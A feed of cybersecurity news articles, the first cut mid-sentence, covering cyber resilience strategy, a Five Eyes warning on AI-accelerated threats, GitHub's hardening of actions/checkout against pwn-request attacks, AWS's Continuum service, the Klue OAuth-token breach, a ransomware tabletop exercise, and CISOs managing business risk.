disclosure, enforcement, sector rules, procurement pressure, and public-private nudging. The SEC wants material cyber risk and incidents visible to investors. CIRCIA aims to force critical infrastructure operators to report substantial incidents and ransom payments. CISA pushes Secure by Design pledges. All that sounds good. But there is a catch, and it lies in the unresolved question of criticality. Critical for whom? Critical for the government? For consumers? For markets? For the company’s customers? Critical for a supply chain that no regulator has fully mapped because the economy now runs on a cesspool of unmanaged SaaS dependencies? Europe is increasingly trying to define resilience as an obligation. The US, more characteristically, is trying to produce accountability through disclosure, enforcement, procurement pressure, and market signaling. The problem is that market signaling collapses when nobody wants to admit they are part of the market’s critical nervous system. This is where the comfortable policy language starts to wobble. “Critical infrastructure” is treated as if it were a natural category. It is not natural. It is political, legal, economic, operational, and worst of all, highly fluid. Companies are trying to avoid being seen as critical when the label brings obligations, reporting duties, scrutiny, liability, and expense. That is not cynicism. That is incentives doing what incentives do: rewarding ambiguity, punishing transparency, and giving everyone a reason to stay conveniently uncritical until the blast radius proves otherwise. The deeper issue is not only critical infrastructure. It is critical dependency. A company may not be critical to the state, but it may be critical to every customer that relies on it. A vendor may avoid the regulatory label, but not the blast radius. A minor-looking SaaS provider, identity layer, CI/CD platform, payment processor, LLM tool, MSP, open-source package, or API gateway can become the point where hundreds of organizations discover that their business continuity plan was a PDF bundled in mindless optimism. This is why voluntary pledges are useful but insufficient. They create norms and language. They help responsible companies signal intent. But a pledge is not a control. A pledge without evidence, enforcement, procurement consequences, customer pressure, or liability is policy theater with potential. Better than silence, yes. Better than mandatory resilience? Not even close. And then AI permeates the world as an accelerant poured across the entire problem. The AI uprising AI compresses time. It lowers attacker skill barriers. It improves phishing, reconnaissance, exploit development, malware support, impersonation, fraud, and social engineering. It also expands the attack surface inside companies through shadow AI, AI agents, sensitive data leakage, automated decisions, insecure integrations, and systems that can act without anyone fully understanding how far their permissions reach. The uncomfortable part is that defenders need AI, too. Nobody is going to manually out-click, out-triage, and out-correlate machine-speed attacks with heroic analysts and vibes. Defensive AI is necessary. AI-assisted testing is necessary. Runtime analysis is becoming more important. Agentic security workflows will grow. Humans matter, of course, but they will need to move from being button-pushers to decision-makers, validators, and designers of boundaries. Recent Mythos revelation, whatever one thinks of it, exposed the broader truth: AI is not merely another asset to secure. It changes the tempo of security. It changes what “timely” means. If attackers can move from discovery to exploitation faster than a company can schedule a change committee meeting, prevention-first chest-thumping becomes blind, brainless bravado. Consequently, that is also where application security becomes central, but not in the narrow old sense. AppSec shows the way AppSec has traditionally been treated as prevention: find bugs, fix bugs, block exploit paths, test before release, scan the API, harden the app, stop the vulnerability from becoming an incident. That is still true. But modern AppSec is also resilience. Secure-by-design systems fail less catastrophically. Well-tested applications reduce blast radius. Strong API authorization protects business logic when identity is abused. Good software supply-chain controls make recovery possible because you know what you shipped, where it came from, and whether you can trust it. Continuous testing shortens the time between exposure and correction. Runtime visibility tells you what is actually happening, not what the architecture diagram claimed would happen in calmer weather. The mature AppSec question is no longer only whether a vulnerability exists. It is how quickly the organization can discover exposure, validate exploitability, prioritize business impact, reduce blast radius, and prove the fix actually reduced risk. So AppSec is preventive in method, but resilient in strategic value. That matters because the old budget logic still lingers. Many organizations talk about resilience at the board level while still spending and operating like the real work is another tool, another dashboard, another rule, another exception queue, another heroic security team tuning SIEM alerts at midnight. There is a widening gap between the talk and the walk. The talk says resilience. The walk still mainly says prevention, compliance, and hope. Resilience becomes duty This is not to mock prevention. Prevention is valuable. It reduces noise and buys time. It blocks commodity attacks. Prevention keeps the easy doors closed and the lazy criminals moving. Good. Keep it. Fund it. Improve it. But stop pretending it is the whole castle. At some point, reinforcing the gate drains us of good iron. Or cash, as may be the case. The cannon is already here. Sometimes the cannon is ransomware. Sometimes it is a supplier compromise. Sometimes it is an AI-assisted vulnerability chain. Sometimes it is a cloud identity failure. Sometimes it is a security vendor update that helpfully demonstrates the concept of systemic risk by taking half the planet down before breakfast. The organizations that survive will not be the ones with the prettiest walls. They will be the ones that know what happens when the walls fail. They will know which services matter most. They will know their dependencies, how to isolate blast radius, how to restore from clean sources. They will know who decides, who communicates, who pays, who informs regulators, who speaks to customers, and who has authority to shut something down before the whole environment becomes a crime scene with invoices. They will practice. Not once a year in a tabletop exercise where everyone nods politely and pretends Legal will respond in real-time. They will practice seriously. They will break assumptions. They will test recovery. They will challenge vendors. They will treat incident response as an organizational muscle, not a binder. This is also where CISO accountability must be discussed honestly. It is easy to demand accountability from the security leader after the fire. It is harder to ask whether the CISO had budget, authority, board access, engineering influence, product leverage, procurement power, and documented risk acceptance before the fire. If a company wants the CISO to be accountable for survival, then the CISO must be empowered to design for survival. Otherwise, accountability is just corporate theater, and the CISO is one person selected in advance to stand under the falling chandelier. The same applies to boards. A board that funds only prevention but expects resilience after failure is not governing cyber risk. It is buying a bucketload of denial. Cybersecurity cannot remain a narrow technical department expected to compensate for fragile business architecture, reckless supplier dependence, poor software practices, underfunded recovery, unclear executive authority, and magical thinking about AI. If cybersecurity is survival, then everyone who shapes organizational resilience shapes cybersecurity. Engineering shapes it. Procurement shapes it. Legal shapes it. Finance, Product, HR, Communications — they all shape it. The board, too, and the CEO. Security may lead the discipline, but it cannot be the only organ responsible for keeping the body alive. That is the point. Not that prevention no longer matters. Not that we should abandon controls and have minstrels sing of resilience while attackers empty the database. The point is that protection is no longer enough to define security. A company that collapses when prevention fails was never truly secure. It was only protected until the first failure. The cybersecurity paradigm of today and tomorrow must be built around survival: surviving breach, surviving disruption, surviving AI acceleration, surviving dependency failure, surviving regulatory scrutiny, and surviving the moment when the neat diagram meets the ugly incident. We still need walls, gates, and guards. But the wall is not the city, nor its citizens. And if the city and the citizens cannot survive after the wall falls, then maybe the wall was never a viable strategy. Maybe it was just a waste of that good iron. View the full article

CSOs must re-write their cyber risk strategies because threat actors are increasing using AI to evade defenses, says a group of national cybersecurity agencies – a call that one expert immediately complained is too vague to be of use. In its call to action on Monday, the group warned that “frontier Al models are anticipated to exceed current industry expectations, fundamentally transforming both offensive and defensive cyber capabilities. The timeline is not years, it is months.” Because of this, cyber resilience is integral to advancing business continuity, market confidence, and long-term value, the statement says. The statement comes from the US Cybersecurity and Infrastructure Security Agency (CISA), the UK National Cybersecurity Centre, the Canadian Centre for Cyber Security (CCCS), the Australian Cyber Security Centre, and the New Zealand Cyber Security Directorate, collectively known as Five Eyes. It urges business and infosec leaders to understand and assess cyber risk, readiness to face an attack, and accountability; prioritize foundational cyber security practices and controls; empower cyber leaders with authority and resources; and stay actively engaged as threats and guidance evolve. The Canadian Centre for Cyber Security told CSO that the Five Eyes statement was issued now “because we are seeing real, recent shifts in how AI tools are being used, including to speed up the discovery and exploitation of vulnerabilities. As these capabilities become more accessible, the risk is no longer theoretical.” The statement clearly signals that the pace of change has reached a point where organizations need to act, CCCS added, noting, “waiting will only narrow the window to respond. Our shared purpose was to be direct and accessible to senior leaders: AI is already affecting cyber risk, and it needs to be addressed as part of core business risk management.” Get the basics right In the statement, the agencies warn, “Success will come from getting the basics right, acting quickly, and integrating cyber security into core business strategy. Those that do not will face growing operational and strategic disadvantage.” Cyber risk can no longer be treated as a purely technical issue, they point out. “This is a core business risk and leadership responsibility. Boards and executives should ensure cyber resilience is in place and works under pressure. It is not enough to have controls. Leaders must be confident those controls will perform during a real incident. This requires reassessing long-standing trade-offs and using AI deliberately to strengthen defense, not just improve efficiency.” For leaders, the statement offers three core principles to act on, including making sure secure-by-design and secure-by-default are standard IT practice and not aspirations, implementing defense in depth, and being prepared to face new zero-day vulnerabilities. It also recommends five practical actions, including reducing attack surface, accelerating patching, addressing legacy systems, strengthening identity and access controls, and preparing for breaches of security controls through testing response plans and focusing on containing a breach. “These actions are not new,” the agencies admit, “but are now urgent to reduce not only technical risk, but also operational, financial and reputational exposure.” The agencies also urge infosec defenders to use AI to strengthen enterprise defenses. [Related content: How SOCs can leverage AI] Experts unimpressed However, the advice doesn’t impress some experts. It “seems to be a generic statement that states the obvious, and, quite frankly, does not provide meaningful guidance about addressing AI risks,” complained Joseph Steinberg, a US-based cybersecurity and AI advisor to businesses and governments. “Not only does the statement not discuss many aspects of risk that AI creates, and for which businesses should already be planning and implementing countermeasures, but four out of the five recommended Practical Actions contained within the statement do not even mention AI, and have applied well before the dawn of the AI era.” The statement should have discussed AI’s total transformation of social engineering and its ability to perform greater reconnaissance, he said, and recommended techniques for social engineering-specific targets. It should have also have explained that generative AI can leak data about a company’s internal work, and that if an AI is fed poisoned data it may “learn” incorrect things; that training issue is hard to undo. Asked for comment on complaints that the Five Eyes statement is too generic, a CISA spokesperson pointed to the agency’s artificial intelligence guidance website, which contains articles on AI data security, how AI must be secure by design, and other resources. Rob Enderle, head of the Enderle Group, said that the Five Eyes warning is “incredibly late.” “AI-driven threats and deepfakes have been heavily impacting corporate landscapes for some time now,” he said in an email. “However, while late, the guidance is completely consistent with the severity and scale of the threat we are actively facing, providing a needed baseline for agencies trying to catch up to the current environment.” The advice itself is solid, he acknowledged, “but acts more as a critical wake-up call than a prescient roadmap. It successfully emphasizes that AI is fundamentally altering the threat vector, and organizations can no longer afford to treat cybersecurity as a siloed technical problem. Rather than being overly generic, it accurately underscores the immediate operational vulnerabilities that corporations need to address.” [Related content: Risk tolerance vs risk appetite] “Crucially,” Endele added, “this is no longer just a discussion for CSOs. To manage this risk effectively, CSOs, CIOs, and CEOs all must be aligned and actively involved. Because AI impacts everything from operational infrastructure to brand trust and corporate governance, cyber risk strategy must be treated as a core business continuity issue driven straight from the top.” Ilia Kolochenko, CEO of ImmuniWeb and adjunct professor of cybersecurity practice and cyber law at US-based Capitol Technology University, said the Five Eyes statement “makes perfect sense. However, it should have been sent in late 2023. Today, careless implementation and imprudent use of legitimate AI systems is a much bigger threat than any misuse of AI.” He added that while the practical recommendations, such as the reduction of organization’s external attack surface, are relevant, they have little direct relationship with the modern AI risks. AI accelerates and amplifies the detection of misconfigured, obsolete, or vulnerable systems exposed to the internet, he agreed, but such issues have been around for more than a decade. “There are thousands of freely available non-AI tools that can quickly find the low-hanging fruit, which are oftentimes even better and much cheaper than LLMs, so AI is not even relevant here,” he said. The biggest risk, Kolochenko said, stems from within organizations. Driven by the fear of missing out, corporate leadership frequently decides to precipitately deploy various AI systems across their organizations without even informing their CSO, let alone conducting a comprehensive risk assessment. Eventually, he said, AI introduces countless new attack vectors and vulnerabilities, becoming a much bigger risk than cybercriminals with AI. He added that, in 2026, threat actors really don’t need more zero-days, because virtually every large company has so much shadow IT and so many misconfigured assets that cybercriminals can simply download all of the organization’s crown jewels in one click. “No zero-days or faster exploitation cycle with AI are needed to get everything any more,” he said. View the full article

Stung by a surge in cyberattacks that have run amok in developer environments, GitHub has strengthened the security of actions/checkout to block ‘pwn request’ attacks that exploit insecure use of the pull_request_target workflow trigger to run an attacker’s code with the workflow’s full privileges. Announced on June 18, actions/checkout v7 now automatically blocks and fails workflows when used inside pull_request_target or workflow_run events when attempting to fetch unreviewed fork pull request code. From now on, the only away around these checks will be for developers to implement an opt out by adding an explicit allow-unsafe-pr-checkout to actions/checkout, GitHub said in its V7 changelog. The change signals the beginning of a new ‘secure by default’ era in which security will be defined by the GitHub system rather than being left to discretion of developers. As part of that effort, on July 16, the new defaults will be backported to all supported major versions. “Workflows pinned to a floating major tag (e.g., actions/checkout@v4) will automatically pick up the change. Workflows pinned to a specific SHA, minor, or patch version aren’t affected by the backport and will need to upgrade using Dependabot or through established upgrade processes,” GitHub explained. However, because pwn request attacks can happen in other ways, “further hardening of additional events may be explored in future releases,” the changelog added. Blind spot If there’s a criticism that can be levelled at GitHub over this, it’s that it has taken so long to address a weakness that’s been known about for years. The issue is with GitHub Actions, which allows triggers to run workflows, including pull_request, which processes third-party forks without giving access to secrets such as API keys, service tokens, and credentials. The downside is that this restriction prevents some automations from working, which is why developers turn to an alternative trigger, pull_request_target, which grants the required access. At some point, attackers realized that where pull_request_target was configured carelessly with actions/checkout to pull in untrusted fork code, it offered a back door into repositories and their secrets. In other words, the weakness in pull_request_target isn’t the trigger itself, which is legitimate and secure when correctly used, but in its incorrect use. As GitHub’s changelog puts it: “Checking out the head of an unreviewed pull request from a fork inside one of these workflows typically lets attacker-controlled code execute with the workflow’s full privileges.” The arrival of actions/checkout v7, however, should make this harder, automatically blocking risky workflows regardless of their configuration. Unfortunately, a lot of damage has already been done. Open source repositories have recently come under sustained attacks from the TeamPCP hacking group, using a variety of techniques, including pwn requests. A notable example was its attack last month, which compromised 170 node package manager (npm) packages, including the TanStack Router ecosystem, thanks to a pwn request exploit. Embarrassingly, in a separate incident not involving a pwn request, GitHub itself was breached and the attackers exfiltrated source code from around 3,800 of the company’s internal repositories. Better late than never, GitHub has sprung into action, plotting a series of security reforms on the platform, including, earlier this month, limiting automatic install script execution in npm. This article originally appeared on InfoWorld. View the full article

AI coding agents are making it easier than ever to produce software. Ensuring that software is secure before deployment is another matter — one that AWS thinks AI should help with too. As enterprises adopt agentic development workflows, the volume of first-party code being created and modified is rising rapidly. Yet the process of validating vulnerabilities, determining whether they are exploitable, and fixing them often still depends on developers and security teams working through findings manually. AWS is aiming to address that imbalance with Continuum, a new service designed to continuously discover, investigate, and remediate vulnerabilities in enterprise environments, whether the code is their own or from third parties. Rather than simply generating alerts, the service is intended to help enterprises move findings through the entire remediation lifecycle, AWS VP of Security and Observability Chet Kapoor wrote in a blog post. For first-party applications, Continuum can analyze code, validate whether vulnerabilities are exploitable, generate remediation recommendations, and propose fixes that can be reviewed through existing software development workflows, helping developers address security issues without requiring security teams to manually investigate every finding, Kapoor said. Once users think Continuum has learned enough about their environment and understands their guardrails, they can put it in what AWS calls “enforce mode” to autonomously fix any code lapses, Kapoor said. Continuum borrows some of its capabilities, penetration testing and code scanning features, from an existing service, Security Agent. Other capabilities are all-new, including threat modeling, which is designed to automatically generate threat models from source code or design documents and output them in STRIDE format. Keeping pace with AI-driven software development Analysts see Continuum helping enterprise developer teams ship more secure code while keeping pace with AI coding tools. “The harder problem is no longer just finding issues, it is knowing which ones are real, which ones matter in their environment, and which ones need to be fixed first,” said Akshat Tyagi, associate practice leader at HFS Research. “Traditional workflows built around dashboards and manual triage struggle with that volume. A dashboard can show the backlog, but it does not validate the finding, assess business impact, or help remediate it.” Continuum’s value, according to Tyagi, “is not just more detection, but using AI to prioritize risk findings, suggest mitigations, and support faster action while keeping humans in control of high-risk decisions.” Taking faster action is becoming increasingly important as attackers are gaining access to many of the same AI capabilities that enterprises are using to accelerate software development and security testing, according to Amit Chandak, chief analytics officer at IT consulting firm Kanerika. “The gap between a flaw being disclosed and a working exploit is shrinking rapidly from months to hours,” he said. While Continuum may reduce repetitive work for developers and SREs, it could also create new responsibilities for CISOs around governance, oversight, testing, and maintaining guardrails for automated actions. “Continuum changes the CISO’s role from managing findings to governing how findings are handled. The focus moves to setting rules: what can be automated, what needs human approval, and what level of risk is acceptable in production,” Tyagi said. “Staffing will shift too. There may be less manual triage, but more need for people who can review AI-generated fixes, set guardrails, and know when not to trust the system.” Even so, Chandak does not expect the offering to lead to immediate headcount reductions, particularly given that Continuum is only available as a gated preview. Continuum could change how CISOs measure work, Tyagi said: “Ticket count matters less. Better measures are how quickly real risks are validated and fixed, how many false positives are removed, and whether automation is reducing risk without causing new problems.” Those same metrics could also become a yardstick for CISOs determining how much autonomy to give tools like Continuum, said Chandak. Most enterprises’ data and governance practices are not yet ready for fully autonomous remediation, said Chandak, adding that, “AWS’ graduated trust design, under which enterprises have the option of choosing the degree of autonomy, from human in the loop to fully automatic remediation, is an admission of that fact.” Beyond first-party code Continuum could also help CISOs with third-party code vulnerability analysis, where enterprises often have less visibility and control. “Most third party vulnerability alerts are noise. A tool may flag a vulnerable library, but the real question is whether that vulnerable code is actually used in production. If Continuum can answer that, it helps teams focus on the few issues that matter,” Tyagi said. “This is especially useful for open-source and software supply chain risk, where enterprises depend on packages and hidden transitive dependencies they may not fully track. It also helps when no patch is available yet.” However, he warned, Continuum might not offer a direct fix to third-party code: “You usually cannot patch third-party code yourself as you don’t own it, so remediation there means version pinning or compensating controls.” This article first appeared on InfoWorld. View the full article

An attacker broke into competitive-intelligence vendor Klue, stole OAuth tokens its customers use to connect to Salesforce and other platforms, and accessed data across multiple customer environments prompting the company to revoke customer OAuth tokens and disable affected integrations. “An attacker gained access through a compromised legacy credential associated with an integration service,” Klue CEO Jason Smith said in a posting to the company’s blog. “The attacker used that access to obtain OAuth tokens used to connect Klue with certain third-party platforms, including Salesforce, and subsequently accessed data within a number of connected customer environments,” he wrote. Klue detected the intrusion on June 12 and Smith posted to the blog on June 19. The breach reached Salesforce accounts at cybersecurity vendors Huntress and Recorded Future, along with an undisclosed number of other Klue customers. Salesforce disabled the Klue Battlecards integration and said organizations cannot reconnect through it until further notice, saying in a posting to its website, “Our security teams recently detected unusual activity involving the app that may have resulted in unauthorized access to a subset of customer data via the app’s connection to Salesforce. This issue is limited to Klue’s app connection and does not arise from a vulnerability within the Salesforce platform.” Unauthorized code removed Klue’s CEO listed the containment steps the company had taken, including revoking affected credentials and tokens, disabling impacted integrations, notifying law enforcement — and “removing unauthorized code.” He offered no further detail on the unauthorized code, how it arrived, or what it did. The company did not immediately respond to a request for further details of its removal of unauthorized code. Security vendor and Klue customer Huntress published its own investigation filling in that gap. The attackers had pushed a code update to a Klue integration system designed to harvest customers’ OAuth tokens, Huntress wrote. Klue staff later found the ‘token-theft code’ and removed it, Huntress added in its investigation report. The initial entry point was a credential Klue had created to prototype an integration it later dropped but never deactivated. “The threat actor seems to have leveraged a long-disused but still active credential to conduct the initial compromise — one that was originally created by Klue for them to prototype a third-party integration they later abandoned,” Huntress said. The attacker then pivoted through Klue’s infrastructure, collected customer tokens and used them to query those customers’ CRM systems before exfiltrating the data, the firm added. Klue shut down integrations with Salesforce, HubSpot, SharePoint, Zoom, Gong, Chorus, Clari, Google Drive and Slack and issued a general alert on June 13, according to Huntress. That alert “did not indicate which customers were impacted,” the firm noted. It did not name any affected customers. Data extracted over 24 hours Another security firm, ReliaQuest, traced how customer CRM data was pulled from Salesforce. The attacker authenticated to victims’ Klue integration service accounts, generated OAuth tokens and ran automated Python scripts that queried the Salesforce REST API for about 24 hours, ReliaQuest said in its threat analysis. The activity was consistent with bulk data retrieval rather than routine integration traffic, it noted — a distinction that would not have been visible without API-layer logging. ReliaQuest advised organizations that had connected Klue to Salesforce to treat the incident as a prompt to revoke and rotate all OAuth tokens and refresh tokens tied to that integration, review Salesforce API logs for unusual query volumes, and restrict third-party integration accounts to known IP ranges. “Any third-party app with OAuth access to a core platform like Salesforce is part of your attack surface and should be inventoried, monitored, and scoped to least privilege,” the firm said. Salesforce and Gong data taken Huntress confirmed it was among the affected customers. Business contacts, price quotes and sales communications from its Salesforce account were taken, the company said. Passwords, payment-card data, threat intelligence and product telemetry were not compromised, and the Huntress product and infrastructure were untouched. Parts of the Salesforce account at another cybersecurity vendor, Recorded Future, were also accessed, the company said. “All available evidence suggests that Recorded Future was not specifically targeted and was instead an incidental victim by virtue of utilizing the compromised integration between Salesforce and Klue,” Recorded Future said. The exposure appeared limited to client contact names, email addresses and possibly some contract information, it added. Icarus claims the attack Huntress attributed the attack to a new extortion group calling itself Icarus, after session messenger IDs in extortion emails matched identifiers on the group’s dark-web leak site. Icarus listed Klue publicly on June 19 and said it had exfiltrated Salesforce data from a number of Klue’s partner companies. The group has signaled it may contact affected organizations directly, meaning Klue customers should expect unsolicited outreach and review their spam folders for related emails, Huntress said. The activity matched the OAuth-abuse pattern behind the 2025 Salesloft Drift and Gainsight compromises, tied to ShinyHunters and UNC6395, but evidence was insufficient to link the Klue incident to either group, the firm said. “The OAuth-abuse playbook is repeatable, effective, and now widely adopted,” it warned. View the full article

Attacks on AI systems and disinformation starred as key elements of a ransomware tabletop exercise CSO participated in during this month’s Infosecurity Europe conference. The “Enter the War Room” exercise — organised and run by cybersecurity vendor Semperis — featured a scenario focused on a cyberattack against a fictional supermarket chain, BlueCart. CSO took part as one of eight members of a red team of supposed national state–linked attackers (APT 64, AKA Checkout Chaos) that was as much interested in thrashing the reputation of the supermarkets it targeted and causing disruption as in making money. Last year we took part in a comparable exercise, also organised by Semperis, but on the opposite team as a media advisor to a blue team defending the systems of a fictional water utility from attack. Rules of engagement Ransomware tabletop exercises place participants in a realistic but fictional cyberattack scenario where each team takes 10-minute turns to devise their attack and defence plans before reporting their findings to the other side. Each turn involves an attack-response cycle with Semperis acting as game master. The whole exercise lasted around two hours. Like many tabletop exercises, this particular simulation was designed to get participants to think outside the box, improve cross-team communications, and develop improved incident response capabilities by exposing blind spots. Each team was made up of seven participants from public and private sector organisations, including former hackers, security consultants, and incident response execs. Unlike the 2025 edition of the event, the names and identities of those who participated was kept confidential this year. Data leak on aisle two As the target of this year’s “Enter the War Room” exercise, grocery retailer BlueCart has an AI-enhanced supply chain command centre, designed to provide visibility across inventory, logistics, and fulfilment. The system has a key role in keeping shelves stocked and deliveries moving. Logistics, scheduling, warehouse operations, and store fulfilment have been centralised in a new technology and operations centre. The red team began with reconnaissance to find a supplier or logistics partner that already has trusted connectivity into the AI command centre, then use that foothold to reach shared portals, APIs, or remote-access tooling. A combination of stolen credentials from developers, weak MFA enforcement, and over-privileged service accounts were used to hack into planning and inventory systems and steal loyalty card data — three of several access vectors typically employed today. The attackers also attempted to break into BlueCart’s Active Directory environment using a combination of phishing and credential theft. The attackers also sought to exploit the retailer’s poorly segmented building-management network to disrupt heating, cooling, and ventilation operations. The blue team of defenders decided to rebuff ransomware demands, which the attackers responded to by leaking loyalty scheme data to cause reputational damage against BlueCart. False alerts and misinformation The attackers generated thousands of false alerts to confuse the work of security operations analysts and hinder response. To counteract this, the defenders established out-of-band communications channels. Continuing their attempts to disrupt BlueCoat’s operations, the attackers disrupted payroll operations. Using job losses due to a move to AI-powered operations, attackers took to social media sites such as Reddit and 4chan in attempts to rage bait hacktivists into getting involved with attacks on BlueCoat. The attackers also created a deepfake of BlueCart’s CEO — made to look as if filmed on his private yacht — saying the job cut will allow BlueCoat to make increased profits and expand its operations. Fake delivery orders for inappropriate goods, such as sex toys, and perishable items such as ice cream were generated by the attackers. The blue team said it had established a honeypot so the attackers were only ever in that environment and never had access to its real environment nor customer data. Testing the relative merits of these claims and counter claims — which seemed at times like a rap battle rather than a game with structured rules such as chess — was beyond the scope of the exercise. The tabletop exercise offered an immersive experience without featuring any analysis of technical data, such as exercise-specific log files. Post-mortem Speaking after the exercise, Guido Grillenmeier, principal technologist at Semperis, explained that Enter the War Room was not a technical tabletop exercise but a way for participants to “broaden their minds and have fun.” The scenario was designed to hone cyber incident preparedness in a similar way to how war games are used to train military forces during peacetime. Simon Hodgkinson, strategic advisor at Semperis, said the exercise illustrated how real preparedness and resilience depends more on people and process than on tools. “The blue team were well structured, thinking about how to minimise the financial and reputational impact on the business and recognising that, should the red team detonate destructive capability, they would need to prioritise and stand up a minimal viable business,” Hodgkinson said. “The red team were innovative, using techniques like deception to distract the blue team so they could achieve their objective.” Hodgkinson added. “Despite the motivation not being financial they did take the opportunity to make money through media manipulation and shorting stock.” View the full article

Longtime security leader Doug Kersten has expanded his list of responsibilities. As CISO of software maker Appfire, he now has accountability for business risks, such as how security tools and processes within customer products and services impact their costs and, thus, profitability. It’s a clearcut example, he says, of where and why CISOs must consider not purely security risk, but also business risk. “CISOs need to provide input and remediation on the impact of security cost because these often-hidden costs have a negative impact on profitability,” he says. “This is usually overlooked by finance teams when analyzing the true cost of goods sold, and if CISOs are not plugged into the evaluation of business risk, it can easily be dismissed.” The expansion of Kersten’s remit into business risk isn’t unique. CISOs across industries are increasingly expected to identify and address business risks that in the past had been outside the bounds of their roles. “While CISOs traditionally focused on protecting systems, networks, and data, today’s business environment requires security leaders to understand how cyber threats impact revenue, operations, customer trust, regulatory obligations, supply chains, and strategic objectives,” says Dale Hoak, CISO at software firm RegScale. “The distinction between business risk and security risk is becoming increasingly blurred.” As such, CISOs today must be enterprise risk leaders, he says, capable of advising executives on how security decisions affect the organization’s ability to achieve its business objectives — not just how they impact the IT stack or technology performance. Understanding business risk is a significant task, experts agree, but they stress that security chiefs are capable of mastering the skill. Here, Kersten, Hoak, and other security leaders offer strategies on how to do so. 1. Partner with the owners of business risk By his own admission, Roland Palmer, CISO and vice president of tech company JumpCloud, has yet to master business risk. So he’s partnering with those in his organization who own it, so he has opportunities to learn and contribute. “We form a great team to understand risk and the organization’s risk appetite,” he says. Team members include leaders from legal, finance, and marketing, as well as the COO. Kersten similarly leans on business leaders to sharpen his understanding of business risk. Last year Kersten, working with his exec colleagues, devised a program assigning business leaders to security risks. “Security helps them understand the security risks, but they also bring to us the [associated] business risks and what can be done to mitigate them,” he explains, noting that this approach also surfaced risks that have since been addressed, thereby closing gaps that were previously unknown. 2. Align cybersecurity explicitly to business objectives Kerstan believes security teams must understand business objectives, so they can understand what risks could derail which objectives. To ensure his security program has that knowledge, he incorporates corporate objectives and key results into his security strategy. “I build out plans to address those business objectives and key results. I still have that parallel tier of security risk, which is handled by the security team; that doesn’t go away. But layered onto this is the business OKRs that I need to execute against,” he explains. “It changed how we look at risk and what we have to do.” For example, he now considers how security department actions may impact employee satisfaction and how that relates to employ retention, a business risk identified by HR, “so we’re working to make sure what we do aligns to the needs of the HR department.” Richard Watson, global cybersecurity leader with professional services firm EY, agrees with the need to “align cybersecurity explicitly to business objectives.” “Map cyber controls to critical assets and business processes, and link these to potential financial impact,” he advises. “This enables CISOs to translate technical exposure into business terms and prioritize investment accordingly.” 3. Lean into networking and relationships Another effective way to get a good grasp on business risks: talking with business colleagues. Regular conversations often yield insights into what truly has them worried, says Gary Hayslip, a cybersecurity executive and co-author of the CISO Desk Reference Guide. “Another thing I have done to understand business risks, and I have recommended it to peers, is doing a walk-about or what some people call a listening tour,” he says. “I do this in every role I am in because I feel it’s important to understand their objectives, the technologies they use, the projects they have ongoing, the issues they may have with the security program, and, finally, what genuinely keeps them up at night.” Others say they take a similar approach, stressing the value of networking and building relationships where colleagues feel comfortable raising concerns and collaborating on solutions. “Business risk cannot be managed in isolation. CISOs should regularly engage with the CFO, COO, general counsel, chief risk officer, product leaders, and business unit executives,” Hoak says. “These conversations provide insight into emerging business concerns and help security become part of strategic planning rather than a downstream compliance exercise.” 4. Run tabletop exercises focused on business risk This is a more structured opportunity, but an equally effective one, to gain more insights into business risks — so long as the exercises put the business front and center, Hayslip says. “Most tabletop exercises conducted by the CISO and security teams remain technical and stop at containment. I have found it’s better to run scenarios that force the executives into the decisions they’d actually make during a crisis, such as whether to pay a ransom, when and what to disclose if there is a data breach, how to handle customers, when and who should invoke legal privilege, and is there an operational fallback available and if so who makes the decision to activate it,” Hayslip says. “Running these types of scenarios helps stress-test the company’s response and teaches the CISO and security team how their peers make decisions under pressure,” he adds. 5. Study up on business risk Sean Murphy, senior vice president and CISO at BECU, the fifth-largest credit union in the US, didn’t leave learning about business risk to serendipity. He sought out opportunities for formal learning, such as earning the Directorship Certification from the National Association of Corporate Directors. The certification verifies the holder’s expertise in governance, fiduciary duties, strategy, and risk oversight. Murphy sought the certification to strengthen his qualifications for a board position and to better understand the perspectives of his company’s board, including how it views risk. “The certification helps me delve into what the board cares about and their world and helps me then turn that back to my team and what we’re doing,” he adds. “It gives me the business and executive view versus a purely technical and security view.” Others offer similar learning strategies. “The CISO needs to see the company the way the CEO, CFO, and board do,” Hayslip says. “To begin, I would recommend sitting down with the 10-K or annual report, the investor deck, and the earnings call transcripts. This will help the CISO understand how the company makes money and which products or business units drive revenue. It also helps the CISO understand what the leadership team is publicly telling the Street about key risks and where they believe revenue growth will come from in the next reporting cycle.” This work, while perhaps previously not essential for traditional security leaders, is becoming an imperative today. “This isn’t fun; in fact, it can be boring,” Murphy says. “But the CISO can’t prioritize protecting the business if they don’t know which parts of the business are considered critical. The annual report provides that view in the words of management.” Veteran security leaders also cite the value of earning certifications from ISACA, a professional association for governance and risk professionals, as well as the Institute of Internal Auditors’ Certified Internal Auditor designation. 6. Integrate security into enterprise risk management To truly master business risk, CISOs should not treat it as separate from security risk. “Cyber is now an existential business risk, not just an IT risk,” says Scott Melchior, a member of ISACA’s Emerging Trends Working Group with 20 years of experience at a global consulting firm focusing on governance, risk, and compliance. “Digital infrastructure is business infrastructure. They’re too intertwined to separate.” Hoak agrees, stressing the need for CISOs to integrate security into enterprise risk management. “Cyber risk should be incorporated into broader enterprise risk management processes alongside financial, operational, legal, and strategic risks. This creates a common framework for evaluating risk and helps executive leadership view cybersecurity within the context of overall business objectives,” he says. Hayslip has put this into practice. In his CISO roles, he has plugged the security risk register into the organization’s ERM platform. He says this allowed him to present cyber-related risks on the same platform that the board already reviews alongside financial, operational, and strategic risks. “The goal is for cyber risks to appear on the enterprise heat map as every other material risk, so they compete for resources and attention on equal terms rather than being a sidebar,” Hayslip says. “Now there is some work involved for the CISO to do this correctly, but it’s critically important to quantify cyber risk in dollars and probability, not colors. Moving from qualitative heat maps to financial impact numbers, I have found, is one of the biggest improvements in getting the business to hear the CISO.” View the full article

